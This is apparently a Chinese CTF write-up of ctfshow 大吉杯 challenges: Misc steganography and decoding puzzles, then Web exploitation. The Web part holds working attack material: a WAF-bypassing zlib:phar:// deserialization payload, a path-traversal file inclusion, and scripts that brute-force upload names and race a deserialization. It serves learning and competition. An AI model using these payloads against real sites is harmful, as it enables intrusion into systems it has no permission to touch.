Misc 拼图v2.0 朴实无华的拼图,唯一不同的是 favicon.png
提供了原图,同时因为图片需要旋转,所以 gaps 行不通了。
这里首先使用 Chrome 插件 Resources Saver 下载所有的图片,然后写脚本拼图。因为原图已经给出,所以将原图按照题目的方式切片即得到了拼图的模板。剩下要做的就是将拼图与原图的切片一一对应然后拼合。这里采用了采样的办法,每个切片取九个采样点,然后根据其匹配的顺序将切片进行旋转,全部完成之后拼合即得到 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 def NinePointSamplingAnalyze (image ): width, height = image.size imgObject = image.convert("RGB" ) pixels = imgObject.load() samplings = [] for i in range (3 ): for j in range (3 ): samplePixel = pixels[(width - 1 ) if j == 2 else (width // 2 ) * j, (height - 1 ) if i == 2 else (height // 2 ) * i] samplings.append(samplePixel) image.close() return samplings def SamplingMatch (modelSample, sample ): flag = 0 for i in range (9 ): if sample[i] == modelSample["sample" ][i]: flag += 1 return flag def SamplingBestRotate (modelSample, sample ): flags = [] for i in range (4 ): flags.append(SamplingMatch(modelSample, sample)) sample = SamplingRotate(sample) return max (flags), flags.index(max (flags)) * (-90 ) def SamplingRotate (sample ): newSamplings = [] index = [6 , 3 , 0 , 7 , 4 , 1 , 8 , 5 , 2 ] for i in range (9 ): newSamplings.append(sample[index[i]]) return newSamplings def SamplingBestSolve (modelSamplings, sample ): flags = [] degrees = [] for i in range (len (modelSamplings)): flag, degree = SamplingBestRotate(modelSamplings[i], sample) flags.append(flag) degrees.append(degree) return max (flags), flags.index(max (flags)), degrees[flags.index(max (flags))]
1 flag{f4864ce0-18d6-4e45-bb51-08a9d47de97f}
AA86 根据题目描述 大约在16位操作系统还能跑的年代
,搜索可以找到如下信息。
于是掏出学汇编的时候用的 DOSBOX 执行一波,得到了 flag。
1 flag{https://utf-8.jp/public/sas/index.html}
碑寺六十四卦 将图片反色后用 stegsolve 解出 LSB 隐写,得到一张 PNG。
将文件头处理好后打开,得到一张与碑上的卦对应的图。
然后将图上每一个对应八卦图和六十四卦速查得到如下内容。
text 1 2 3 4 晋 噬嗑 井 复 谦 丰 渐 大过 睽 巽 无妄 屯 中孚 观 归妹 革 坎 颐 革 明夷 否 泰 明夷
按照图上的数字解出即为 5 37 26 32 8 44 11 30 53 27 39 34 51 3 52 46 18 33 46 40 7 56 40
,将其对应 Base64 编码表解出 FlagIsLe1bnizD0uShuoH4o
。
牛年大吉 vhd 文件,挂载发现提示格式化,于是打开 WinHex 读取。发现引导扇区被擦除了,同时有 ?lag.7z
和 牛年大吉.jpg
两个文件。根据提示压缩包密码在图片文件头里 可知密码为 89504E47
,解压可得 flag。
1 flag{CTFshow_The_Year_of_the_Ox}
请问大吉杯的签到是在这里签吗 将图片套娃 foremost 之后得到四张二维码,扫出来如下内容。
text 1 2 3 4 - 请问DJB CTF比赛的签到处在什么地方? - 好像没有岔路了,一直往前走试试看 - 好像没有岔路了,一直往前走试试看 - 咦,这是死胡同,是不是哪里走错路了
于是回到第二张,尝试使用 StegSolve 看隐写,得到如下图片。
根据猪圈密码解密表,解得内容为 FLAGDAJIADOAIDJB
。
十八般兵器 使用压缩文档备注2021牛年大吉 解压后得到一个文本文档和十八张兵器的图。图是 jpg 的 JPHS 隐写,分别提取出来之后发现每段文本后面有几个数字,将其按照文本文档中兵器的顺序 刀、枪、剑、戟、斧、钺、钩、叉、鞭、锏、锤、戈、镋、棍、槊、棒、矛、耙
分类拼接,得到如下两端。
text 1 2 136143999223163525817639797858700963935 3044053720460556276610613346353724230575
分别使用十进制转十六进制和八进制转十六进制处理后拼接。
text 1 666c61677b43544673686f775f31305f62415f42616e5f62316e675f51317d
From Hex
解得 flag。
1 flag{CTFshow_10_bA_Ban_b1ng_Q1}
色图生成器 解压文件后可得到一张图片和一个写满颜色的文本文档。将图片处理一下,只留下有小长方块的部分。
然后将其中的像素值读出来,每个小长方块记录一次。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from PIL import Imageimage = Image.open ("extracted.png" ).convert("RGB" ) extractedFile = open ("extracted.txt" , "w" ) width, height = image.size widthPiece = width // 5 heightPiece = height // 20 for x in range (heightPiece): for y in range (widthPiece): pixel = image.getpixel((5 * y, 20 * x)) colorByte = str ((pixel[0 ] if pixel[0 ] != 0 else pixel[1 ] if pixel[1 ] != 0 else pixel[2 ])) extractedFile.write("{} " .format (colorByte)) print("[+] Written {}" .format (colorByte)) extractedFile.close()
将所得的内容经过 From Decimal
解码之后可以得到一个 rar 压缩文档。
将 rar 压缩文档解压可得一张图片。010 editor 打开图片可发现文件尾部有 zip 压缩文档,将其提取出来。使用 Cloakify 的解密工具,第一步得到的文本文档的内容作为 key 解密 rar 压缩文档的注释内容。
得到提取出来的 zip 压缩包的密码 D3arD4La0P1e45eD4iDa1Wo
。解压提取出来的 zip 压缩文档之后可以得到一个 .pyc 文件。将其使用在线反编译工具 反编译之后可以得到如下代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from PIL import Imageimport re, hashlib, randomflag = 'flag{jiu_bu_gao_su_ni}' if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$' , flag): m = hashlib.md5() m.update(flag.encode('ascii' )) m = m.hexdigest() col = [] for i in range (0 , 24 , 2 ): tmp = int (m[i:i + 2 ], 16 ) tmp += random.randint(-5 , 5 ) col += [tmp] img = Image.new('RGB' , (1024 , 512 )) for i in range (4 ): timg = Image.new('RGB' , (256 , 512 ), tuple (col[i * 3 :i * 3 + 3 ])) img.paste(timg, (i * 256 , 0 )) img.save('C:/Users/Administrator/Desktop/setu.png' )
结合前面得到的图片可知 flag 的格式,尝试写脚本爆破 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import reimport hashlibcolors = [139 , 102 , 162 , 24 , 85 , 57 , 160 , 37 , 239 , 200 , 154 , 30 ] for i in range (48 , 125 ): for j in range (48 , 125 ): for k in range (48 , 125 ): for n in range (48 , 125 ): flag = "flag{D" + chr (i) + chr (j) + chr (k) + chr (n) + "}" if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$' , flag): m = hashlib.md5() m.update(flag.encode('ascii' )) m = m.hexdigest() runCount = 0 for x in range (0 , 24 , 2 ): color = colors[runCount] tmp = int (m[x:x + 2 ], 16 ) if -5 < (tmp - color) < 5 : runCount += 1 continue elif x == 22 : print(flag) exit(0 ) else : break
运行脚本可以得到 flag。
童话镇 将文件分离解压之后得到训练集和 flag,从网上找了一段 KNN 的算法稍微修改一下即可算出 flag 的标签。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from numpy import *def createDataSet (): groups = [] labels = [] for line in open ("t.txt" ): group = [] label = line[0 ] line = line[2 :] line = line.lstrip("[" ).rstrip("]\n" ).split("," ) for x in line: group.append(int (x)) groups.append(group) labels.append(label) print(groups) return array(groups), labels def classify (input , dataSet, label, k ): dataSize = dataSet.shape[0 ] diff = tile(input , (dataSize, 1 )) - dataSet sqdiff = diff ** 2 squareDist = sum (sqdiff, axis=1 ) dist = squareDist ** 0.5 sortedDistIndex = argsort(dist) classCount = {} for i in range (k): voteLabel = label[sortedDistIndex[i]] classCount[voteLabel] = classCount.get(voteLabel, 0 ) + 1 maxCount = 0 for key, value in classCount.items(): if value > maxCount: maxCount = value classes = key return classes dataSet, labels = createDataSet() inputs = [] for line in open ("flag.txt" ): input = [] line = line.lstrip("[" ).rstrip("]\n" ).split("," ) for x in line: input .append(int (x)) inputs.append(input ) file = open ("KNNresulta.txt" , "w" ) for input in inputs: output = classify(array(input ), dataSet, labels, 2 ) file.write(output) print(output) file.close()
通过标签数量可以确定图片的尺寸,写脚本求出标签数量的约数。
1 2 3 for x in range (3 , 78289 // 2 + 1 ): if 78289 % x == 0 : print("[*] Found number {}" .format (x))
很容易得出图片尺寸为 79x991。将标签转换为像素从而构建图片。
1 2 3 4 5 6 7 8 9 10 11 12 from PIL import ImageflagFile = open ("KNNresulta.txt" , "r" ) flagStream = flagFile.read().rstrip("\n" ) image = Image.new("RGB" , (79 , 991 )) for i in range (79 ): for j in range (991 ): pixel = (255 , 255 , 255 ) if int (flagStream[i * 991 + j]) else (0 , 0 , 0 ) image.putpixel((i, j), pixel) image = image.transpose(Image.FLIP_TOP_BOTTOM) image.save("result.png" )
将得到的图片顺时针旋转 90° 可得到如下图片。
Web veryphp 代码审计题目,给出的源代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php error_reporting(0 ); highlight_file(__FILE__ ); include ("config.php" );class qwq { function __wakeup ( ) { die ("Access Denied!" ); } static function oao ( ) { show_source("config.php" ); } } $str = file_get_contents("php://input" );if (preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is' ,$str )){ die ("I am sorry but you have to leave." ); }else { extract($_POST ); } if (isset ($shaw_root )){ if (preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/' , $shaw_root )&& strlen($shaw_root )===29 ){ echo $hint ; }else { echo "Almost there." ."<br>" ; } }else { echo "<br>" ."Input correct parameters" ."<br>" ; die (); } if ($ans ===$SecretNumber ){ echo "<br>" ."Congratulations!" ."<br>" ; call_user_func($my_ans ); }
先想办法拿到 hint,才能再去构造 $SecretNumber
。因此先对着正则工具构造一串合理的字符串使之能到 echo $hint;
处。
接下来就是 extract($_POST);
设置的变量为 shaw_root
,但是在 POST 的字符串中下划线被正则挡住了,因此使用空格来代替。写出这一部分的 payload,得到 hint。
text 1 Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
于是写个脚本跑一下这个 $SecretNumber
,得到结果是 21475。
1 2 3 4 5 6 7 8 9 10 11 12 <?php for ($i = 0 ; $i < 99999 ; $i ++) { $num = sprintf("%05d" , $i ); $str = "shaw" . ($num ) . "root" ; $md5Str = md5($str ); if ($md5Str == "166b47a5cb1ca2431a0edfcef200684f" ) { echo "Found: " . $num . PHP_EOL; break ; } else { echo "Trying: " . $num . " as " . $md5Str . PHP_EOL; } }
拿到 Congratulation 之后就是要想办法到达 show_source("config.php")
处。因为 oao()
是个静态方法,所以直接传入 qwq::oao
就能被 call_user_func($my_ans)
调用到。因此最后的 payload 如下。
1 flag{d66c779bdd97750eb2b0a6a34384b901}
spaceman 反序列化的代码审计,给出的代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 error_reporting(0 ); highlight_file(__FILE__ ); class spaceman { public $username ; public $password ; public function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } public function __wakeup ( ) { if ($this ->password==='ctfshowvip' ) { include ("flag.php" ); echo $flag ; } else { echo 'wrong password' ; } } } function filter ($string ) { return str_replace('ctfshowup' ,'ctfshow' ,$string ); } $str = file_get_contents("php://input" );if (preg_match('/\_|\.|\]|\[/is' ,$str )){ die ("I am sorry but you have to leave." ); }else { extract($_POST ); } $ser = filter(serialize(new spaceman($user_name ,$pass_word )));$test = unserialize($ser );?>
可以发现给出了一个两个字符长边短的反序列化字符逃逸。但是跟到下面可以发现 $pass_word
其实是可控的。因此只需要构造如下 POST 参数就行。
1 user[name=lemonprefect&pass[word=ctfshowvip
1 ctfshow{661aa8e7-658d-4615-bec6-0479b2af71f1}
有手就行 传入 GET 参数 .../?file=flag
,即可在源码种发现一张小程序码的图片的 base64 字符串,将其解码后可得如下图片。
扫描之后可以发现是一个爬楼的小游戏,得爬到 54429731 层才能拿到 flag。可以反编译小程序来拿到 flag。
插曲:Hyper-V 会导致 VT-x 无法被 Android 虚拟机使用。只需要暂时停用 Hyper-V 再重启即可。
1 2 bcdedit /set hypervisorlaunchtype off ;停用 bcdedit /set hypervisorlaunchtype Auto ;恢复
注意:一旦停用了 Hyper-V 可能需要重新勾选 Hyper-V 的 Windows 功能才能恢复。
将微信小程序的程序包从 /data/data/com.tencent.mm/MicroMsg/bf10a35efc5fc9b37707a65b7f678057/appbrand/pkg
下取出。使用 wuWxapkg.js
将其反编译后在生成的目录的 pages/index
下可以找到 index.js。将其打开可以发现其中记录着如下内容。
1 2 3 decode: function (a ) { return "flag{hahahawxunapk}" ; }
虎山行 在 ../mc-admin/page-edit.php
页面下发现任意文件包含漏洞,但是读取不到 flag。
访问上面给出的新路由,得到如下源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file(__FILE__ ); error_reporting(0 ); include ('waf.php' );class Ctfshow { public $ctfer = 'shower' ; public function __destruct ( ) { system('cp /hint* /var/www/html/hint.txt' ); } } $filename = $_GET ['file' ];readgzfile(waf($filename )); ?>
同时在管理面板下可以看到一个很显眼的上传点,路由是 ../upload.php
。使用上述的文件包含读取出如下源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php error_reporting(0 ); $allowedExts = array ("gif" , "jpg" , "png" );$temp = explode("." , $_FILES ["file" ]["name" ]);$extension = end($temp ); if ((($_FILES ["file" ]["type" ] == "image/gif" )|| ($_FILES ["file" ]["type" ] == "image/jpeg" ) || ($_FILES ["file" ]["type" ] == "image/png" )) && ($_FILES ["file" ]["size" ] < 2048000 ) && in_array($extension , $allowedExts )) { if ($_FILES ["file" ]["error" ] > 0 ) { echo "文件出错: " . $_FILES ["file" ]["error" ] . "<br>" ; } else { if (file_exists("upload/" . $_FILES ["file" ]["name" ])) { echo $_FILES ["file" ]["name" ] . " 文件已经存在。 " ; } else { $md5_unix_random =substr(md5(time()),0 ,8 ); $filename = $md5_unix_random .'.' .$extension ; move_uploaded_file($_FILES ["file" ]["tmp_name" ], "upload/" . $filename ); echo "上传成功,文件存在upload/" ; } } } else { echo "文件类型仅支持jpg、png、gif等图片格式" ; } ?>
可以发现上传后无法得知文件名,而且只能上传图片,因此需要想办法绕过上传限制且触发到 Ctfshow
的反序列化从而拿到下一步的 hint。使用 ../../../ctfshowsecretfilehh/waf.php
可以包含到 waf 的内容。
1 2 3 4 5 6 7 <?php function waf ($file ) { if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i" ,$file )){ die ("姿势太简单啦,来一点骚的?!" ); }else { return $file ; }
查阅了资料之后发现 phar 的利用姿势中有 zlib:phar://
正好没被这个正则过滤到。使用如下的代码来生成一个 phar 包。
1 2 3 4 5 6 7 8 9 10 11 <?php class Ctfshow { public $ctfer = 'shower' ; } $phar = new Phar("trigger.phar" );$phar ->startBuffering();$phar ->setStub("<?php __HALT_COMPILER(); ?>" );$object = new Ctfshow();$phar ->setMetadata($object );$phar ->addFromString("exp.txt" ,"actuallyNothingHere" );$phar ->stopBuffering();
因为这里没给文件名,所以需要写个脚本去上传,这样才能将时间戳范围确定从而找到正确的文件名用于文件包含。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import hashlibimport requestsimport timeENV = "http://e2c57b3b-c22d-4267-bef2-8e47e9b13b4e.chall.ctf.show/" def composeUrl (timeNow ): return "{}upload/{}.gif" .format (ENV, (hashlib.md5(str (int (timeNow)).encode()).hexdigest())[:8 ]) while True : url = "{}upload.php" .format (ENV) file = { 'file' : ('exp.gif' , open ("trigger.gif" , 'rb' ), "image/gif" ) } response = requests.post(url=url, files=file) now = time.time() nowUrl = composeUrl(now - 1 ) accessResponse = requests.get(nowUrl) print("[+] Trying with url {}" .format (nowUrl)) if ("install.php" not in accessResponse.text): print("[*] Found! {}" .format (nowUrl)) exit() else : time.sleep(0.2 )
运行上述脚本可以得出一个可以成功包含上传文件的链接。
1 http://e2c57b3b-c22d-4267-bef2-8e47e9b13b4e.chall.ctf.show/upload/21116d8b.gif
访问 .../hint.txt
可以得到如下信息。
text 1 flag{fuckflag***}flag also not here You can access ctfshowgetflaghhhh directory
访问 .../ctfshowgetflaghhhh
可以获得如下源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php show_source(__FILE__ ); $unser = $_GET ['unser' ];class Unser { public $username ='Firebasky' ; public $password ; function __destruct ( ) { if ($this ->username=='ctfshow' &&$this ->password==(int )md5(time())){ system('cp /ctfshow* /var/www/html/flag.txt' ); } } } $ctf [email protected] ($unser );system('rm -rf /var/www/html/flag.txt' );
这里有一点小 trick,(int)md5(time())
有很大的机会取到 0,所以这里在反序列化中假定其为 0 可以更方便地构造。使用多线程脚本进行条件竞争,这样才能读到 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import requestsimport threadingENV = "http://2acf732a-6d3b-4c16-b9f2-532ae48ca97e.chall.ctf.show/" def Unserialization (): print("[+] Unserialization thread lanched" ) while True : param = { "unser" : 'O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}' } requests.get(url="{}ctfshowgetflaghhhh" .format (ENV),params=param) def GetFlag (): print("[+] Get flag thread lanched" ) while True : response = requests.get(url="{}flag.txt" .format (ENV)) if ("install.php" not in response.text): print("[*] Found flag in {}" .format (response.content.decode("UTF-8" ))) event.clear() else : print("[!] Get flag thread retry" ) event = threading.Event() for i in range (20 ): threading.Thread(target=Unserialization, args=()).start() threading.Thread(target=GetFlag, args=()).start()
运行可以得到 flag。
1 ctfshow{229c1b86-f183-4520-8792-1e78448dad62}
虎山行’s revenge 跟虎山行相比,目录有所变更。
1 2 - ctfshowsecretfilehh + hsxhsxhsxctfshowsecretfilel
1 2 - ctfshowgetflaghhhh + hsxctfshowsecretgetflagl
1 ctfshow{5a01f428-4ffa-44bc-aab5-571d5ebbfaa6}